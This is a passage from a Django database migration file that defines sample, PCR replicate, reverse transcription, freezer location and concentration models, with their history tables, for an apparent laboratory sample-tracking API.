to='liliapi.Sample'), ), migrations.AddField( model_name='sample', name='record_type', field=models.ForeignKey(default=1, on_delete=django.db.models.deletion.PROTECT, to='liliapi.RecordType'), ), migrations.AddField( model_name='sample', name='sample_type', field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='samples', to='liliapi.SampleType'), ), migrations.AddField( model_name='sample', name='samplegroups', field=models.ManyToManyField(related_name='samples', through='liliapi.SampleSampleGroup', to='liliapi.SampleGroup'), ), migrations.AddField( model_name='sample', name='study', field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='samples', to='liliapi.Study'), ), migrations.AddField( model_name='sample', name='total_volume_sampled_unit_initial', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.PROTECT, related_name='samplestvsunits', to='liliapi.Unit'), ), migrations.CreateModel( name='ReverseTranscriptionHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('template_volume', models.DecimalField(decimal_places=10, default=8.6, max_digits=20, validators=[django.core.validators.MinValueValidator(0)])), ('reaction_volume', models.DecimalField(decimal_places=10, default=50, max_digits=20, validators=[django.core.validators.MinValueValidator(Decimal('1E-10'))])), ('rt_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('re_rt_notes', models.TextField(blank=True)), ('ext_pos_rna_rt_cq_value', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('ext_pos_rna_rt_invalid', models.BooleanField(default=True)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('extraction_batch', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.ExtractionBatch')), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('re_rt', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.ReverseTranscription')), ], options={ 'verbose_name': 'historical reverse transcription', 'db_table': 'lili_reversetranscriptionhistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='ReportTypeHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('name', models.CharField(db_index=True, max_length=128)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name': 'historical report type', 'db_table': 'lili_reporttypehistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='ReportType', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('name', models.CharField(max_length=128, unique=True)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='reporttype_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='reporttype_modifier', to=settings.AUTH_USER_MODEL)), ], options={ 'db_table': 'lili_reporttype', }, ), migrations.CreateModel( name='ReportFileHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('file', models.TextField(max_length=100, null=True)), ('fail_reason', models.TextField(blank=True)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('report_type', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.ReportType')), ('status', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Status')), ], options={ 'verbose_name': 'historical report file', 'db_table': 'lili_reportfilehistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='ReportFile', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('file', models.FileField(null=True, upload_to=liliapi.models.ReportFile.reportfile_location)), ('fail_reason', models.TextField(blank=True)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='reportfile_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='reportfile_modifier', to=settings.AUTH_USER_MODEL)), ('report_type', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='reportfiles', to='liliapi.ReportType')), ('status', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='reportfiles', to='liliapi.Status')), ], options={ 'db_table': 'lili_reportfile', 'ordering': ['-id'], }, ), migrations.CreateModel( name='RecordTypeHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('name', models.CharField(db_index=True, max_length=128)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name': 'historical record type', 'db_table': 'lili_recordtypehistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='PCRReplicateHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('cq_value', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('gc_reaction', liliapi.models.NullableNonnegativeDecimalField120100(blank=True, decimal_places=100, max_digits=120, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('replicate_concentration', models.DecimalField(blank=True, decimal_places=100, max_digits=120, null=True, validators=[django.core.validators.MinValueValidator(Decimal('1E-100'))])), ('invalid', models.BooleanField(default=True)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('concentration_unit', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Unit')), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('invalid_override', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('pcrreplicate_batch', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.PCRReplicateBatch')), ('sample_extraction', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.SampleExtraction')), ], options={ 'verbose_name': 'historical pcr replicate', 'db_table': 'lili_pcrreplicatehistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='PCRReplicateBatchHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('replicate_number', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('notes', models.TextField(blank=True)), ('ext_neg_cq_value', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('ext_neg_gc_reaction', liliapi.models.NullableNonnegativeDecimalField120100(blank=True, decimal_places=100, max_digits=120, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('ext_neg_invalid', models.BooleanField(default=True)), ('rt_neg_cq_value', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('rt_neg_gc_reaction', liliapi.models.NullableNonnegativeDecimalField120100(blank=True, decimal_places=100, max_digits=120, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('rt_neg_invalid', models.BooleanField(default=True)), ('pcr_neg_cq_value', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('pcr_neg_gc_reaction', liliapi.models.NullableNonnegativeDecimalField120100(blank=True, decimal_places=100, max_digits=120, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('pcr_neg_invalid', models.BooleanField(default=True)), ('pcr_pos_cq_value', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('pcr_pos_gc_reaction', liliapi.models.NullableNonnegativeDecimalField120100(blank=True, decimal_places=100, max_digits=120, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('pcr_pos_invalid', models.BooleanField(default=True)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('extraction_batch', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.ExtractionBatch')), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('re_pcr', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.PCRReplicateBatch')), ('target', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Target')), ], options={ 'verbose_name': 'historical pcr replicate batch', 'db_table': 'lili_pcrreplicatebatchhistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.AddField( model_name='pcrreplicatebatch', name='target', field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='pcrreplicatebatches', to='liliapi.Target'), ), migrations.CreateModel( name='OtherAnalysisHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('description', models.TextField(blank=True)), ('data', models.TextField(blank=True)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name': 'historical other analysis', 'db_table': 'lili_otheranalysishistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='OtherAnalysis', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('description', models.TextField(blank=True)), ('data', models.TextField(blank=True)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='otheranalysis_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='otheranalysis_modifier', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name_plural': 'otheranalyses', 'db_table': 'lili_otheranalysis', }, ), migrations.CreateModel( name='NucleicAcidTypeHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('name', models.CharField(db_index=True, max_length=128)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name': 'historical nucleic acid type', 'db_table': 'lili_nucleicacidtypehistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='MatrixHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('name', models.CharField(db_index=True, max_length=128)), ('code', models.CharField(db_index=True, max_length=128)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name': 'historical matrix', 'db_table': 'lili_matrixhistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='InhibitionHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('inhibition_date', models.DateField(db_index=True, default=datetime.date.today)), ('cq_value', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('dilution_factor', models.IntegerField(blank=True, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('extraction_batch', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.ExtractionBatch')), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('nucleic_acid_type', models.ForeignKey(blank=True, db_constraint=False, default=1, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.NucleicAcidType')), ('sample', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Sample')), ], options={ 'verbose_name': 'historical inhibition', 'db_table': 'lili_inhibitionhistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.AddField( model_name='inhibition', name='nucleic_acid_type', field=models.ForeignKey(default=1, on_delete=django.db.models.deletion.PROTECT, to='liliapi.NucleicAcidType'), ), migrations.AddField( model_name='inhibition', name='sample', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='inhibitions', to='liliapi.Sample'), ), migrations.CreateModel( name='FreezerLocationHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('rack', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('box', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('row', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('spot', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('freezer', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Freezer')), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name': 'historical freezer location', 'db_table': 'lili_freezerlocationhistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='FreezerLocation', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('rack', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('box', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('row', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('spot', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='freezerlocation_creator', to=settings.AUTH_USER_MODEL)), ('freezer', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='freezerlocations', to='liliapi.Freezer')), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='freezerlocation_modifier', to=settings.AUTH_USER_MODEL)), ], options={ 'db_table': 'lili_freezerlocation', 'unique_together': {('freezer', 'rack', 'box', 'row', 'spot')}, }, ), migrations.CreateModel( name='FreezerHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('name', models.CharField(db_index=True, max_length=128)), ('racks', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('boxes', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('rows', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('spots', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name': 'historical freezer', 'db_table': 'lili_freezerhistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='FinalSampleMeanConcentrationHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('final_sample_mean_concentration', liliapi.models.NullableNonnegativeDecimalField120100(blank=True, decimal_places=100, max_digits=120, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('sample', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Sample')), ('target', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Target')), ], options={ 'verbose_name': 'historical final sample mean concentration', 'db_table': 'lili_finalsamplemeanconcentrationhistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='FinalConcentratedSampleVolumeHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('final_concentrated_sample_volume', models.DecimalField(decimal_places=100, max_digits=120, validators=[django.core.validators.MinValueValidator(Decimal('1E-100'))])), ('notes', models.TextField(blank=True)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('concentration_type', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.ConcentrationType')), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('sample', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Sample')), ], options={ 'verbose_name': 'historical final concentrated sample volume', 'db_table': 'lili_finalconcentratedsamplevolumehistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='FinalConcentratedSampleVolume', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('final_concentrated_sample_volume', models.DecimalField(decimal_places=100, max_digits=120, validators=[django.core.validators.MinValueValidator(Decimal('1E-100'))])), ('notes', models.TextField(blank=True)), ('concentration_type', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='finalconcentratedsamplevolumes', to='liliapi.ConcentrationType')), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='finalconcentratedsamplevolume_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', 